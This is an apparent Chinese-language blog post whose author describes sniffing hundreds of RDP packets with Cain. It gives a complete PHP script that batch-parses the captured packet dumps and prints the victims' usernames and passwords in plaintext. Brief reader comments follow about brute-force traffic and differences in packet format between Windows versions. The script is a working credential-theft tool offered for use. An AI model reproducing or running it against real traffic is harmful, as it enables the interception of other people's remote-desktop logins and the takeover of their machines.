昨天晚上开始嗅探,好家伙好几百个包,网上搜了一下有一款工具叫“Cain RDP Parser”,好家伙,一个一个选,玩死人的。。。索性写了个PHP脚本来批量解析。凑合着用。

Cain嗅探到的RDP包批量解析为用户名+密码的php脚本

<?php 
//Author Wdot 
//Site:http://wdot.cc 
//用法 php CainRdpParser.php /tmp/1.txt  #单个文件解析 
//用法 php CainRdpParser.php /tmp/RDP/  #批量解析 
error_reporting(E_ERROR); 
if(is_dir($argv[1])) 
{ 
  foreach (scandir($argv[1]) as $key => $value) { 
    if($value!='.' && $value!='..') 
    { 
      rdpParser($argv[1].$value); 
    } 
  } 
}elseif(is_file($argv[1])) 
{ 
  rdpParser($argv[1]); 
} 

function rdpParser($filename){ 
  $crlf = "\r\n"; 
  if(!file_exists($filename)){ 
    print "file \"$filename\" not exists...$crlf"; 
    return; 
  } 
  $rdpH=fopen($filename,'r'); 
  print "FILE:".basename($filename).$crlf; 
  fseek($rdpH,0); 
  while (!feof($rdpH)) { 
    $line=trim(fgets($rdpH)); 
    if(preg_match("/\w+.address:.*?$/",$line,$m)) 
    { 
      print $line.$crlf; 
    } 
    if(preg_match("/^\[Client decrypted packet\]/",$line,$m)) 
    { 
      $packet=''; 
      while (!empty($line)) { 
        $line=trim(fgets($rdpH)); 
        $packet.=substr($line,5,48); 
      } 
      $packets=explode('0000000000',str_replace(' ', '', $packet)); 
      $i=count($packets)-27; 
      $packets=explode('0000',$packets[$i]); 
      $times=0; 
      foreach ($packets as $key => $value) { 
        if(empty($value) || $times>=2)continue; 
        print (($times==0)?'username':'password').":\t".pack('H*',$value).$crlf;
         $times++; 
         
      } 
      break; 
    } 
  } 
  fclose($rdpH); 
  print "-------------------------------$crlf"; 
} 
?>

留言评论(旧系统):

佚名 @ 2013-01-28 20:48:05

一般看IP,短时间内同一IP的都是爆破,记录下来更加蛋疼。。。

本站回复:

╮(╯_╰)╭

m @ 2013-01-29 01:14:36

4. 8 9 生成的不一样的 亲 你懂得一个版本一个样子 有差别关键字

本站回复:

╮(╯_╰)╭